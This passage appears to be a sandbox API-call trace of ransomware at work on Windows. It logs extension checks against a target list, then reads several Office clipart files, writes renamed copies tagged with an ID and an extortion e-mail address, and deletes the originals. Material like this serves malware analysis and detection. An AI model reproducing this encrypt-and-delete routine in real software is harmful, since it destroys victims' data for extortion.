lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0060.885] lstrlenW (lpString=".xls") returned 4 [0060.885] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0060.885] lstrlenW (lpString=".xlsx") returned 5 [0060.885] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0060.885] lstrlenW (lpString=".ppt") returned 4 [0060.885] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0060.885] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00100_.WMF") returned 63 [0060.885] lstrlenW (lpString=".zip") returned 4 [0060.885] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0060.885] lstrlenW (lpString=".rar") returned 4 [0060.885] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0060.885] lstrlenW (lpString=".bz2") returned 4 [0060.885] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0060.885] lstrlenW (lpString=".7z") returned 3 [0060.885] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0060.885] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00100_.WMF") returned 63 [0060.885] lstrlenW (lpString=".dbf") returned 4 [0060.885] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0060.885] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00100_.WMF") returned 63 [0060.885] lstrlenW (lpString=".1cd") returned 4 [0060.885] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0060.885] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00100_.WMF") returned 63 [0060.885] lstrlenW (lpString=".jpg") returned 4 [0060.885] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0062.415] GetFileSizeEx (in: hFile=0x20c, lpFileSize=0x229ff1c | out: lpFileSize=0x229ff1c*=7176) returned 1 [0062.415] CloseHandle (hObject=0x20c) returned 1 [0062.415] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01603_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01603_.wmf")) returned 0x20 [0062.415] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01603_.WMF.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01603_.wmf.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0062.415] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01603_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01603_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0062.415] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x229fec8 | out: lpNewFilePointer=0x0) returned 1 [0062.415] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x229fec8 | out: lpNewFilePointer=0x0) returned 1 [0062.415] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01603_.WMF.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01603_.wmf.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x150 [0062.416] GetLastError () returned 0x0 [0062.416] ReadFile (in: hFile=0x20c, lpBuffer=0x3520020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x229fed4, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesRead=0x229fed4*=0x1c08, lpOverlapped=0x0) returned 1 [0062.417] WriteFile (in: hFile=0x150, lpBuffer=0x3520020*, nNumberOfBytesToWrite=0x1c10, lpNumberOfBytesWritten=0x229fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesWritten=0x229fc9c*=0x1c10, lpOverlapped=0x0) returned 1 [0062.420] ReadFile (in: hFile=0x20c, lpBuffer=0x3520020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x229fed4, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesRead=0x229fed4*=0x0, lpOverlapped=0x0) returned 1 [0062.420] WriteFile (in: hFile=0x150, lpBuffer=0x3520020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x229fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesWritten=0x229fc9c*=0xec, lpOverlapped=0x0) returned 1 [0062.420] SetEndOfFile (hFile=0x150) returned 1 [0062.420] CloseHandle (hObject=0x150) returned 1 [0062.421] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x229fec8 | out: lpNewFilePointer=0x0) returned 1 [0062.421] SetEndOfFile (hFile=0x20c) returned 1 [0062.421] CloseHandle (hObject=0x20c) returned 1 [0062.421] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01603_.WMF.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x20) returned 1 [0062.421] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01603_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01603_.wmf")) returned 1 [0062.422] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01603_.WMF") returned 63 [0062.422] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01603_.WMF") returned 63 [0062.422] lstrlenW (lpString=".doc") returned 4 [0062.422] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0062.422] lstrlenW (lpString=".docx") returned 5 [0062.422] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0062.422] lstrlenW (lpString=".pdf") returned 4 [0062.422] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0062.422] lstrlenW (lpString=".xls") returned 4 [0062.422] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0062.422] lstrlenW (lpString=".xlsx") returned 5 [0062.422] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0062.422] lstrlenW (lpString=".ppt") returned 4 [0062.422] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0062.422] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01603_.WMF") returned 63 [0062.422] lstrlenW (lpString=".zip") returned 4 [0062.422] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0062.422] lstrlenW (lpString=".rar") returned 4 [0062.422] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0062.422] lstrlenW (lpString=".bz2") returned 4 [0062.422] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0062.422] lstrlenW (lpString=".7z") returned 3 [0062.422] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0062.422] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01603_.WMF") returned 63 [0062.422] lstrlenW (lpString=".dbf") returned 4 [0062.422] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0062.422] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01603_.WMF") returned 63 [0062.423] lstrlenW (lpString=".1cd") returned 4 [0062.423] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0062.423] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01603_.WMF") returned 63 [0062.423] lstrlenW (lpString=".jpg") returned 4 [0062.423] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0062.423] GetFileSizeEx (in: hFile=0x20c, lpFileSize=0x229ff1c | out: lpFileSize=0x229ff1c*=2262) returned 1 [0062.423] CloseHandle (hObject=0x20c) returned 1 [0062.423] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC2.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\classic2.wmf")) returned 0x20 [0062.424] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC2.WMF.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\classic2.wmf.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0062.424] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC2.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\classic2.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0062.424] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x229fec8 | out: lpNewFilePointer=0x0) returned 1 [0062.424] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x229fec8 | out: lpNewFilePointer=0x0) returned 1 [0062.424] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC2.WMF.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\classic2.wmf.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x150 [0062.424] GetLastError () returned 0x0 [0062.424] ReadFile (in: hFile=0x20c, lpBuffer=0x3520020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x229fed4, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesRead=0x229fed4*=0x8d6, lpOverlapped=0x0) returned 1 [0062.426] WriteFile (in: hFile=0x150, lpBuffer=0x3520020*, nNumberOfBytesToWrite=0x8e0, lpNumberOfBytesWritten=0x229fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesWritten=0x229fc9c*=0x8e0, lpOverlapped=0x0) returned 1 [0062.427] ReadFile (in: hFile=0x20c, lpBuffer=0x3520020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x229fed4, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesRead=0x229fed4*=0x0, lpOverlapped=0x0) returned 1 [0062.427] WriteFile (in: hFile=0x150, lpBuffer=0x3520020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x229fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesWritten=0x229fc9c*=0xec, lpOverlapped=0x0) returned 1 [0062.427] SetEndOfFile (hFile=0x150) returned 1 [0062.427] CloseHandle (hObject=0x150) returned 1 [0062.427] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x229fec8 | out: lpNewFilePointer=0x0) returned 1 [0062.427] SetEndOfFile (hFile=0x20c) returned 1 [0062.428] CloseHandle (hObject=0x20c) returned 1 [0062.428] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC2.WMF.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x20) returned 1 [0062.428] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC2.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\classic2.wmf")) returned 1 [0062.428] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC2.WMF") returned 63 [0062.428] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC2.WMF") returned 63 [0062.428] lstrlenW (lpString=".doc") returned 4 [0062.428] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0062.428] lstrlenW (lpString=".docx") returned 5 [0062.428] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0062.428] lstrlenW (lpString=".pdf") returned 4 [0062.428] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0062.428] lstrlenW (lpString=".xls") returned 4 [0062.428] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0062.428] lstrlenW (lpString=".xlsx") returned 5 [0062.428] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0062.428] lstrlenW (lpString=".ppt") returned 4 [0062.428] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0062.429] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC2.WMF") returned 63 [0062.429] lstrlenW (lpString=".zip") returned 4 [0062.429] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0062.429] lstrlenW (lpString=".rar") returned 4 [0062.429] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0062.429] lstrlenW (lpString=".bz2") returned 4 [0062.429] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0062.429] lstrlenW (lpString=".7z") returned 3 [0062.429] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0062.429] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC2.WMF") returned 63 [0062.429] lstrlenW (lpString=".dbf") returned 4 [0062.429] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0062.429] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC2.WMF") returned 63 [0062.429] lstrlenW (lpString=".1cd") returned 4 [0062.429] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0062.429] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC2.WMF") returned 63 [0062.429] lstrlenW (lpString=".jpg") returned 4 [0062.429] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0062.430] GetFileSizeEx (in: hFile=0x20c, lpFileSize=0x229ff1c | out: lpFileSize=0x229ff1c*=2262) returned 1 [0062.430] CloseHandle (hObject=0x20c) returned 1 [0062.430] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLIP.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\clip.wmf")) returned 0x20 [0062.430] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLIP.WMF.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\clip.wmf.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0062.430] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLIP.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\clip.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0062.430] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x229fec8 | out: lpNewFilePointer=0x0) returned 1 [0062.430] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x229fec8 | out: lpNewFilePointer=0x0) returned 1 [0062.430] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLIP.WMF.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\clip.wmf.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x150 [0062.431] GetLastError () returned 0x0 [0062.431] ReadFile (in: hFile=0x20c, lpBuffer=0x3520020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x229fed4, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesRead=0x229fed4*=0x8d6, lpOverlapped=0x0) returned 1 [0062.432] WriteFile (in: hFile=0x150, lpBuffer=0x3520020*, nNumberOfBytesToWrite=0x8e0, lpNumberOfBytesWritten=0x229fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesWritten=0x229fc9c*=0x8e0, lpOverlapped=0x0) returned 1 [0062.433] ReadFile (in: hFile=0x20c, lpBuffer=0x3520020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x229fed4, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesRead=0x229fed4*=0x0, lpOverlapped=0x0) returned 1 [0062.433] WriteFile (in: hFile=0x150, lpBuffer=0x3520020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x229fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesWritten=0x229fc9c*=0xe4, lpOverlapped=0x0) returned 1 [0062.433] SetEndOfFile (hFile=0x150) returned 1 [0062.433] CloseHandle (hObject=0x150) returned 1 [0062.433] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x229fec8 | out: lpNewFilePointer=0x0) returned 1 [0062.433] SetEndOfFile (hFile=0x20c) returned 1 [0062.434] CloseHandle (hObject=0x20c) returned 1 [0062.434] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLIP.WMF.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x20) returned 1 [0062.434] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLIP.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\clip.wmf")) returned 1 [0062.435] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLIP.WMF") returned 59 [0062.435] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLIP.WMF") returned 59 [0062.435] lstrlenW (lpString=".doc") returned 4 [0062.435] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0062.435] lstrlenW (lpString=".docx") returned 5 [0062.435] lstrcmpiW (lpString1=".docx", lpString2="P.WMF") returned -1 [0062.435] lstrlenW (lpString=".pdf") returned 4 [0062.435] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0062.435] lstrlenW (lpString=".xls") returned 4 [0062.435] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0062.435] lstrlenW (lpString=".xlsx") returned 5 [0062.435] lstrcmpiW (lpString1=".xlsx", lpString2="P.WMF") returned -1 [0062.435] lstrlenW (lpString=".ppt") returned 4 [0062.435] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0062.435] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLIP.WMF") returned 59 [0062.435] lstrlenW (lpString=".zip") returned 4 [0062.435] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0062.435] lstrlenW (lpString=".rar") returned 4 [0062.435] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0062.435] lstrlenW (lpString=".bz2") returned 4 [0062.435] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0062.435] lstrlenW (lpString=".7z") returned 3 [0062.435] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0062.435] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLIP.WMF") returned 59 [0062.435] lstrlenW (lpString=".dbf") returned 4 [0062.435] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0062.435] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLIP.WMF") returned 59 [0062.435] lstrlenW (lpString=".1cd") returned 4 [0062.435] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0062.435] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLIP.WMF") returned 59 [0062.435] lstrlenW (lpString=".jpg") returned 4 [0062.436] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0062.436] GetFileSizeEx (in: hFile=0x20c, lpFileSize=0x229ff1c | out: lpFileSize=0x229ff1c*=5270) returned 1 [0062.436] CloseHandle (hObject=0x20c) returned 1 [0062.436] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANE.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\crane.wmf")) returned 0x20 [0062.436] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANE.WMF.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\crane.wmf.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0062.437] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANE.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\crane.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0062.437] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x229fec8 | out: lpNewFilePointer=0x0) returned 1 [0062.437] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x229fec8 | out: lpNewFilePointer=0x0) returned 1 [0062.437] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANE.WMF.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\crane.wmf.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x150 [0062.437] GetLastError () returned 0x0 [0062.437] ReadFile (in: hFile=0x20c, lpBuffer=0x3520020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x229fed4, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesRead=0x229fed4*=0x1496, lpOverlapped=0x0) returned 1 [0062.438] WriteFile (in: hFile=0x150, lpBuffer=0x3520020*, nNumberOfBytesToWrite=0x14a0, lpNumberOfBytesWritten=0x229fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesWritten=0x229fc9c*=0x14a0, lpOverlapped=0x0) returned 1 [0062.439] ReadFile (in: hFile=0x20c, lpBuffer=0x3520020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x229fed4, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesRead=0x229fed4*=0x0, lpOverlapped=0x0) returned 1 [0062.439] WriteFile (in: hFile=0x150, lpBuffer=0x3520020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x229fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesWritten=0x229fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0062.440] SetEndOfFile (hFile=0x150) returned 1 [0062.440] CloseHandle (hObject=0x150) returned 1 [0062.440] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x229fec8 | out: lpNewFilePointer=0x0) returned 1 [0062.440] SetEndOfFile (hFile=0x20c) returned 1 [0062.441] CloseHandle (hObject=0x20c) returned 1 [0062.441] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANE.WMF.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x20) returned 1 [0062.441] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANE.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\crane.wmf")) returned 1 [0062.441] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANE.WMF") returned 60 [0062.441] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANE.WMF") returned 60 [0062.441] lstrlenW (lpString=".doc") returned 4 [0062.441] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0062.441] lstrlenW (lpString=".docx") returned 5 [0062.441] lstrcmpiW (lpString1=".docx", lpString2="E.WMF") returned -1 [0062.441] lstrlenW (lpString=".pdf") returned 4 [0062.441] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0062.441] lstrlenW (lpString=".xls") returned 4 [0062.441] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0062.441] lstrlenW (lpString=".xlsx") returned 5 [0062.441] lstrcmpiW (lpString1=".xlsx", lpString2="E.WMF") returned -1 [0062.441] lstrlenW (lpString=".ppt") returned 4 [0062.441] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0062.441] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANE.WMF") returned 60 [0062.441] lstrlenW (lpString=".zip") returned 4 [0062.441] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0062.441] lstrlenW (lpString=".rar") returned 4 [0062.441] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0062.442] lstrlenW (lpString=".bz2") returned 4 [0062.442] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0062.442] lstrlenW (lpString=".7z") returned 3 [0062.442] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0062.442] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANE.WMF") returned 60 [0062.442] lstrlenW (lpString=".dbf") returned 4 [0062.442] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0062.442] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANE.WMF") returned 60 [0062.442] lstrlenW (lpString=".1cd") returned 4 [0062.442] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0062.442] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANE.WMF") returned 60 [0062.442] lstrlenW (lpString=".jpg") returned 4 [0062.442] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0062.443] GetFileSizeEx (in: hFile=0x20c, lpFileSize=0x229ff1c | out: lpFileSize=0x229ff1c*=49546) returned 1 [0062.443] CloseHandle (hObject=0x20c) returned 1 [0062.443] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANINST.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\craninst.wmf")) returned 0x20 [0062.443] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANINST.WMF.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\craninst.wmf.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0062.443] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANINST.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\craninst.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0062.443] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x229fec8 | out: lpNewFilePointer=0x0) returned 1 [0062.443] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x229fec8 | out: lpNewFilePointer=0x0) returned 1 [0062.443] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANINST.WMF.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\craninst.wmf.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, 